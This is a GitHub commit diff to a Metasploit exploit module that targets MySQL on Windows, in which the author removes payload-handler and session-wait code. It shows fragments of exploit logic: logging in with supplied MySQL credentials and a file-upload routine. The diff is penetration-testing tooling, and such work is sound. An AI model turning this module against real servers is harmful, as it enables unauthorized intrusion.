Skip to content

Commit 0c5f4ce

Browse files
committed
Removed the handler-ish code
1 parent 2addd0f commit 0c5f4ce

File tree

1 file changed

+2
-18
lines changed

1 file changed

+2
-18
lines changed

modules/exploits/windows/mysql/mysql_start_up.rb

Lines changed: 2 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -27,12 +27,10 @@ def initialize(info = {})
2727
],
2828
'DefaultOptions' =>
2929
{
30-
'InitialAutoRunScript' => "migrate -f"
30+
'DisablePayloadHandler' => 'true'
3131
},
3232
'License' => MSF_LICENSE,
33-
'References' =>
34-
[
35-
],
33+
'References' => [ ],
3634
'Platform' => 'win',
3735
'Targets' =>
3836
[
@@ -46,10 +44,6 @@ def initialize(info = {})
4644
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
4745
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
4846
])
49-
register_advanced_options(
50-
[
51-
OptBool.new('ExitOnSession', [ true, 'Turn off handler once session is created', true])
52-
])
5347
end
5448

5549
def check
@@ -97,10 +91,6 @@ def upload_file(bin, dest)
9791
end
9892

9993
def exploit
100-
if not datastore['ExitOnSession'] and not job_id
101-
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
102-
end
103-
10494
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
10595
begin
10696
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
@@ -128,12 +118,6 @@ def exploit
128118
return
129119
end
130120

131-
stime = Time.now.to_f
132-
while(true)
133-
break if session_created? and datastore['ExitOnSession']
134-
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
135-
select(nil,nil,nil,1)
136-
end
137121
end
138122

139123
end

0 commit comments

Comments
 (0)